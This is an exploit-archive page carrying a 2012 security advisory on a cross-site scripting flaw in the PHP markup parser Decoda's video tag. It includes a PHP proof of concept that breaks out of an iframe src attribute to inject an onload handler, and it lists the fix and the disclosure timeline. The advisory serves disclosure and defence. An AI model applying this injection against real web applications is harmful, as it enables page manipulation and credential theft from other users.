Menu

Search for hundreds of thousands of exploits

"PHP-decoda - 'Video Tag' Cross-Site Scripting"

Author

Exploit author

"RedTeam Pentesting"

Platform

Exploit platform

php

Release date

Exploit published date

2012-05-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
Advisory: php-decoda: Cross-Site Scripting in Video Tags

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability
in the PHP markup parser Decoda. This allows attackers that should be
restricted to the markup supported by Decoda to specify a JavaScript
event handler for an iframe tag. Depending on the usage of Decoda, this
allows attackers to execute JavaScript code in the context of other
users in a web application that uses Decoda.


Details
=======

Product: php-decoda
Affected Versions: 3.x
Fixed Versions: 3.3.3
Vulnerability Type: Cross-Site Scripting
Security Risk: High
Vendor URL: http://milesj.me/code/php/decoda
Vendor Status: fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2012-002
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Decoda is a lightweight class that extracts and parses a custom markup
language; based on the concept of BB code. Decoda supports all the basic
HTML tags and manages special features for making links and emails
auto-clickable, using shorthand emails and links, and finally allowing
the user to add their own code tags.

(from Decoda's homepage)


More Details
============

Decoda supports a directive for videos. For example the Decoda markup

[video="youtube" size="small"]test[/video]

creates the following corresponding HTML code (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/test"; width="560" height="315"
frameborder="0"></iframe>

The code to generate the iframe tag can be found in the following file:

decoda/templates/video.php

There, the HTML tag is generated as follows:

<?php if ($player == 'embed') { ?>
        <embed src="<?php echo $url; ?>"
                type="application/x-shockwave-flash"
                allowscriptaccess="always"
                allowfullscreen="true"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"></embed>

<?php } else { ?>
        <iframe src="<?php echo $url; ?>"
                width="<?php echo $width; ?>"
                height="<?php echo $height; ?>"
                frameborder="0"></iframe>

<?php } ?>

The variable $url contains the user input provided in the video markup
prefixed by the URL to YouTube. Since quotation signs provided by a user
are not properly encoded, an attacker can use this to specify a
JavaScript event handler that is executed when the resulting HTML
document is loaded.


Proof of Concept
================

The following PHP script can be used to demonstrate this vulnerability:

<?php
include '../decoda/Decoda.php';
$code = new Decoda();
$code->addFilter(new VideoFilter()); ?>
<?php

$decoda_markup = '[video="youtube" size="small"]"';
$decoda_markup .= 'onload="alert(\'RedTeam Pentesting XSS\');" id="[/video]';

$code->reset($decoda_markup);
echo $code->parse();
?>

This results in the following output (whitespace adjusted):

<iframe src="http://www.youtube.com/embed/"; onload="alert('RedTeam
Pentesting XSS');" id="" width="560" height="315"
frameborder="0"></iframe>



Workaround
==========

Disabling support for the video markup by not adding the corresponding
filter might close this attack vector depending on the usage of Decoda.

Fix
===

Update to at least version 3.3.3.


Security Risk
=============

The risk of the described vulnerability is considered to be high. It
might be lower depending on the use case of Decoda in a web application.
In case it is used in an web forum to allow formatting of postings, it
can be used by attackers to completely manipulate the web page showing
the respective posting by adding arbitrary content, tracking user
interaction and potentially obtaining credentials from other users.


History
=======

2012-03-26 Vulnerability identified
2012-04-25 Customer approved disclosure to vendor
2012-04-26 First attempt to contact vendor
2012-04-30 Vendor notified
2012-05-01 Vendor released fixed version
2012-05-02 Advisory released
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-01-25 "Cisco RV320 Dual Gigabit WAN VPN Router 1.4.2.15 - Command Injection" webapps hardware "RedTeam Pentesting"
2018-04-09 "CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure" dos linux "RedTeam Pentesting"
2018-04-09 "CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution" webapps json "RedTeam Pentesting"
2017-11-03 "Ladon Framework for Python 0.9.40 - XML External Entity Expansion" webapps xml "RedTeam Pentesting"
2017-07-24 "REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure" webapps json "RedTeam Pentesting"
2017-07-24 "REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution" webapps json "RedTeam Pentesting"
2016-01-07 "AVM FRITZ!Box < 6.30 - Remote Buffer Overflow" remote hardware "RedTeam Pentesting"
2015-06-16 "TYPO3 Extension Akronymmanager 0.5.0 - SQL Injection" webapps php "RedTeam Pentesting"
2015-06-10 "Alcatel-Lucent OmniSwitch - Cross-Site Request Forgery" webapps hardware "RedTeam Pentesting"
2015-02-11 "IBM Endpoint Manager - Persistent Cross-Site Scripting" webapps cgi "RedTeam Pentesting"
2014-12-02 "TYPO3 Extension ke DomPDF - Remote Code Execution" webapps php "RedTeam Pentesting"
2014-12-02 "EntryPass N5200 - Credentials Exposure" webapps hardware "RedTeam Pentesting"
2014-06-27 "Endeca Latitude 2.2.2 - Cross-Site Request Forgery" webapps multiple "RedTeam Pentesting"
2014-06-27 "Python CGIHTTPServer - Encoded Directory Traversal" webapps multiple "RedTeam Pentesting"
2014-06-09 "DevExpress ASPxFileManager 10.2 < 13.2.8 - Directory Traversal" webapps asp "RedTeam Pentesting"
2012-05-02 "PHP-decoda - 'Video Tag' Cross-Site Scripting" webapps php "RedTeam Pentesting"
2011-05-04 "ZyWALL USG Appliance - Multiple Vulnerabilities" remote hardware "RedTeam Pentesting"
2009-12-21 "TLS - Renegotiation" remote multiple "RedTeam Pentesting"
2009-08-10 "Papoo CMS 3.7.3 - (Authenticated) Arbitrary Code Execution" webapps php "RedTeam Pentesting"
2009-05-05 "IceWarp Merak Mail Server 9.4.1 Groupware Component - Multiple SQL Injections" webapps php "RedTeam Pentesting"
2008-03-11 "Mapbender 2.4.4 - 'mapFiler.php' Remote Code Execution" webapps php "RedTeam Pentesting"
2008-03-11 "Mapbender 2.4.4 - 'gaz' SQL Injection" webapps php "RedTeam Pentesting"
2007-07-13 "ActiveWeb Contentserver 5.6.2929 - 'Picture_Real_Edit.asp' SQL Injection" webapps asp "RedTeam Pentesting"
2007-07-13 "ActiveWeb Contentserver CMS 5.6.2929 - Client-Side Filtering Bypass" webapps php "RedTeam Pentesting"
2007-07-13 "contentserver 5.6.2929 - '/errors/transaction.asp?msg' Cross-Site Scripting" webapps asp "RedTeam Pentesting"
2007-07-13 "contentserver 5.6.2929 - '/errors/rights.asp?msg' Cross-Site Scripting" webapps asp "RedTeam Pentesting"
2006-05-22 "Prodder 0.4 - Arbitrary Shell Command Execution" remote linux "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection" webapps php "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - 'importcc.php' CSV File SQL Injection" webapps php "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection" webapps php "RedTeam Pentesting"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.